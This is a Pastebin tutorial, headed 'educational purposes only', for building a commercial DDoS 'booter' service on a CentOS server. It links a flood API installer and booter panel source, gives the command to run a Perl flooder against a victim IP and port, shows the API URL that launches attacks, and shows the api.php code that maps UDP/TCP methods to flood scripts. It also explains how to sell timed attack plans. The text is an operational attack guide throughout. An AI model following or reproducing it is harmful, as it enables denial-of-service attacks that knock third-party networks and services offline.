Advertisement
SLaychickentheroozte

How to make Make a full booter ddos]

Oct 16th, 2016
7,455
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.61 KB | None | 0 0
  1. Educational purposes only
  2. i show you how to make an api on a centos linux vps or dedi, and install a booter, with api integrated to the booter.
  3.  
  4. Requirements:
  5. Putty, Winscp, APIs, centos 6 installed on a vps or a dedicated server(accepting ddos because you could be banned), a webhost for your booter.
  6.  
  7. i found these website for your centos server:
  8.  
  9. Hostkey
  10. VpsGet
  11. Ecatel
  12. Ampnode
  13. Blazingfast
  14. Offshoresrv
  15.  
  16. my installation is a dedi on kimsufi (ovh)
  17.  
  18. first login to your vps/dedi with putty on your server.
  19. root/password
  20.  
  21. login with winscp to your server.
  22. go to /root/
  23.  
  24. download, extract and upload the 5 files in /root/.
  25. Code:
  26. mediafire.com/download/ckx98fryya1f8bg/api_script_auto_install.rar
  27.  
  28. go to your putty program and type:
  29. Code:
  30. cd /root/
  31. perl setup.pl
  32.  
  33. say yes all the time when it ask for download.
  34.  
  35. your api should be installed when finished.
  36.  
  37. ssyn.pl is a simple perl flooder.
  38.  
  39. Code:
  40. perl /root/ssyn.pl victimip port sizeofpacket time
  41. example: perl /root/ssyn.pl 8.8.8.8 80 50000 60
  42.  
  43. now, just go to :
  44. Code:
  45. yourvpsip/api.php
  46. and see if it works.
  47.  
  48. now we have to add the apikey, the host, the port, the time, and the method.
  49.  
  50. Code:
  51. yourvpsip/api.php?key=apikey&host=victimip&port=80&time=60&method=udp
  52.  
  53. try to ddos your own ip by replacing "victimip" by your own ip address and see if u are ddosed :)
  54. you can also install dstat on your server, and see if your attacks works.
  55.  
  56. Code:
  57. yum install dstat
  58. dstat --net
  59.  
  60. the api is done.
  61.  
  62. ------------------------------------
  63.  
  64. now you have to make your web booter.
  65.  
  66. use notepad++ for editing file on windows.
  67.  
  68. Download Booter source gemini (thanks to Zoom):
  69. Code:
  70. mediafire.com/download/8bkcdkrjwt5r2ea/source.rar
  71.  
  72. find a good webhost or free subdomain with php, mysql, phpmyadmin.
  73. i use a free webhost at "hostinger" (but they can ban so its your choice)
  74.  
  75. create a sql database on your panel and keep the informations "db_host, db_name, db_username, db_server"
  76.  
  77. go to the folder sql table (in the rar file downloaded), put sql.sql in your database
  78. how to do that? just connect to phpmyadmin on your panel and select your database, go to insert and upload sql.sql, then clic execute.
  79.  
  80. now go to your booter folder downloaded before and edit /include/db.php with your informations concording to your sql database created before on your panel.
  81.  
  82. take the ftp informations of your website (ftp server, ftp user, ftp pass)
  83. use filezilla or winscp, connect to your ftp account.
  84. send all the files in the rar file on the root path of your website.
  85. excepted the folder SQL table which contains the sql database.
  86.  
  87. when upload is finished, go to your website URL adress.
  88.  
  89. register an account, create a admin user (admin)
  90. and connect to your booter with login page.
  91.  
  92. then , return to your phpmyadmin on the panel.
  93.  
  94. go to your database, find "users", find your nickname (created before when registered)
  95. click modify and put rank from 0 to 1
  96. it will change your status from user to admin.
  97.  
  98. reconnect to your website or just refresh
  99. you will see "admin" button in the menu.
  100.  
  101. click on this, go to plans.
  102.  
  103. create a new plan
  104.  
  105. plan name: e.g boot plan 1
  106. description: e.g boot 300sec
  107. max boot time: 300
  108. unit: month or whatever u want
  109. plan lenght: 1 or 2 (month, days ..)
  110. plan price: 5
  111.  
  112. then press add.
  113.  
  114. go to "manage users", edit, plan, select your plan 'boot plan 1"
  115. press update.
  116.  
  117. now the most important thing(never explained in all tutorial on HF .. stupid..), is to add your api created on your vps to your website.
  118. go to admin, servers
  119.  
  120. just insert your vps ip + api.php here:
  121. Code:
  122. yourvpsip/api.php
  123.  
  124. and click addservers.
  125.  
  126. go to blacklist, and blacklist 127.0.0.1, yourvpsipadress, and your website ip.
  127.  
  128. note: if you want to modify something in the source about api,
  129. edit hub.php
  130.  
  131. api url from booter source(hub.php):
  132. Code:
  133. $url = $r["url"]."?key=apikey&host={$host}&port={$port}&time={$time}&method={$method}";
  134.  
  135. concording with the api url:
  136. api source:
  137. Code:
  138. pastebin.com/JK1GXFgi
  139.  
  140. $r["url"]." will be replaced with your server added before
  141. key=apikey is the key (not changed in api.php)
  142. host={$host} is the victim ip (same in api.php)
  143. port={$port} is the port flooded of victim (same in api.php)
  144. time={$time} is the time of the attack
  145. method={$method} is the method
  146.  
  147. the method is choosen concording with the source in hub.php and api.php
  148.  
  149. hub.php source:
  150. Code:
  151. option value="udp">UDP Flood (Only this one work)
  152. option value="tcp">TCP Flood
  153. is the method in menu hub.
  154.  
  155. value "udp" will change the method value ( {$method} ) who will be replaced in the api url from booter > vps api.
  156.  
  157. Biggrin
  158.  
  159. you can add more scripts by adding in your api.php a new method with the commandline pointing to a new flood script , but it must be concording with the method on ur website and ur api..
  160.  
  161. api.php:
  162. Code:
  163. $array = array("udp", "tcp", "stop");// Add you're existing methods here, and delete you're none existent methods.
  164. $ray = array("apikey");
  165.  
  166. ------
  167.  
  168. if ($method == "udp") { $command = "screen -dm perl /root/ssyn.pl $host $port 50000 $time"; }
  169. if ($method == "tcp") { $command = "screen -dm /root/tcp $host 8 300000 $time"; }
  170. if ($method == "stop") { $command = "pkill $host -f"; }
  171.  
  172. now you have to edit 3 files:
  173. index.php
  174. admin/sidebar.php
  175. includes/init.php
  176.  
  177. edit the files and search "yourwebsite.com", and replace it by your own website url. dont change the php files in the url
  178.  
  179. then try your flood attack
  180. just click on hub in the menu and send the attack. Pirate
  181.  
  182. note: i have not added spoofed script(just a basic perl flooder) because my dedi is not spoofed but i'll make a tutorial on this when i'll have a spoofed server
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement